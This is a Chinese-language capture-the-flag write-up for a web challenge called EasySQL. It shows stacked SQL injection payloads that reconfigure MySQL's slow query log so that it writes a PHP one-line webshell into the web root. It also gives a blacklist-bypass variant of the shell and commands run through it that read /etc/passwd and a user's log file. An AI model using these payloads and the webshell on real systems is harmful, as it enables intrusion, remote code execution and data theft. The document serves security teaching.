【WEB】EasySQL

考点:目录扫描,SQL堆叠注入,慢查询日志写 webshell,fuzz黑名单绕过,Linux 命令

点击靶机。

猜测是SQL注入,先用dirsearch进行目录扫描,发现robots.txt文件。

访问config.php 是空白,先放在一边,再访问**/helpyou2findflag.php**。

先放到一边,接下来我们用fuzz测试SQL注入有哪些被过滤了。

可以发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。

测试是数字型注入还是字符型注入。

可以判断是数字型注入,因为我们输入的1被执行了,而不是被当做字符串。

所以在后台,实际语句是这样的:

sql 复制代码
SELECT * FROM 表名 WHERE id = (1);

如果我们要将前面的括号闭合,就需要主动加一个括号。

比如:

sql 复制代码
1);你自己的SQL语句-- +

这就是SQL注入中的堆叠注入。

堆叠 = 一条接一条,堆在一起执行

堆叠注入 因为有分号 ;你可以执行任意多条 SQL 语句,想写什么写什么。

MySQL 有个功能叫 慢查询日志(slow query log)

作用是,把执行时间特别长的 SQL 语句,记录到一个文件里,方便 DBA(数据库管理员)排查哪些 SQL 太慢了需要优化。

几个关键变量如下:

变量名 作用
slow_query_log 开关,ON = 开启,OFF = 关闭
slow_query_log_file 日志文件保存的路径
long_query_time 超过多少秒就算 "慢查询",默认 10 秒

我们先查看 MySQL 中所有名字包含 slow_query_log 的变量。

sql 复制代码
1);show variables like '%slow_query_log%';-- +

show variables like 'xxx'是 MySQL 查看系统变量的固定语法。

% 是通配符,%slow_query_log% 表示 "名字里只要包含 slow_query_log 就行"。

sql 复制代码
slow_query_log       | OFF          → 慢查询日志目前是关闭的
slow_query_log_file  | /var/lib/mysql/xxx-slow.log  → 日志文件默认在 MySQL 目录下

所以我们开启慢查询日志。

sql 复制代码
1);set global slow_query_log=1;-- +
  • set global → 修改全局变量(global 表示全局生效)
  • slow_query_log=1 → 把慢查询日志开关设为 1(= 开启)

修改日志文件路径。

sql 复制代码
1);set global slow_query_log_file='/var/www/html/helpyou2findflag.php';-- +
  • set global slow_query_log_file= → 修改慢查询日志文件的路径
  • '/var/www/html/helpyou2findflag.php' → 新的路径

所以,之后所有 "慢查询" 的 SQL 语句,都会被写进 helpyou2findflag.php 这个文件里。 而这个文件在网站目录下,我们可以通过浏览器访问。

要让所有查询都被记录,需要修改 long_query_time。

正常情况下,要触发慢查询日志, SQL 执行时间必须超过 long_query_time(默认 10 秒)。 最简单的方法就是 SELECT sleep(11);,让 SQL 睡 11 秒,肯定超过 10 秒,就会被记录。

sleep 在fuzz黑名单中,被过滤了,用不了。

但是慢查询日志只会记录超过 long_query_time 时间的查询语句,因此要在写入 webshell 的 sql 语句中超过执行耗时命令,由于 union 和 sleep 都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改 long_query_time 的值。

既然 sleep 不能用,那我就把 "慢" 的标准改得极低极低,低到随便一条查询都算 "慢查询"。

sql 复制代码
1);set global long_query_time=0.000001;-- +

验证一下改成功了没。

sql 复制代码
1);show variables like 'long_query_time';-- +

之后需要写入 webshell,也就是一句话木马。

最简单的 PHP 一句话木马:

php 复制代码
<?php eval($_REQUEST['a']($_REQUEST['b']));?>

我们通过 URL 传参数 ab,它就会执行 a(b)。 比如传 a=system&b=ls,就会执行 system('ls'),列出服务器上的文件。

但在fuzz 黑名单可知一句话木马中常见的关键词被过滤了,绕过一下。

php 复制代码
<?php $_REQUEST[a]($_REQUEST[b])?>

这叫可变函数。

  • $_REQUEST[a] 取出参数 a 的值,比如是 system
  • 然后 ($_REQUEST[b]) 就是调用这个函数,参数是 b 的值

相当于:

php 复制代码
system('ls');
php 复制代码
/helpyou2findflag.php?a=system&b=ls

可以访问到webshell

接下来就是找flag,在配置文件里查看用户,发现有rainbow用户。

php 复制代码
/helpyou2findflag.php?a=system&b=awk -F':' '{ print $1}' /etc/passwd
写法 功能
awk 文本处理工具
-F 指定 "按什么符号切分列"
':' 冒号当分隔符
'...' 单引号包起来,防止 shell 解析
{ awk 代码块开始
print 打印 / 输出
$1 第 1 列
} awk 代码块结束
/etc/passwd 要处理的文件

查看家目录发现有ssh.log。

php 复制代码
/helpyou2findflag.php?a=system&b=ls%20/home/rainbow

flag就在其中。

php 复制代码
/helpyou2findflag.php?a=system&b=cat%20/home/rainbow/ssh.log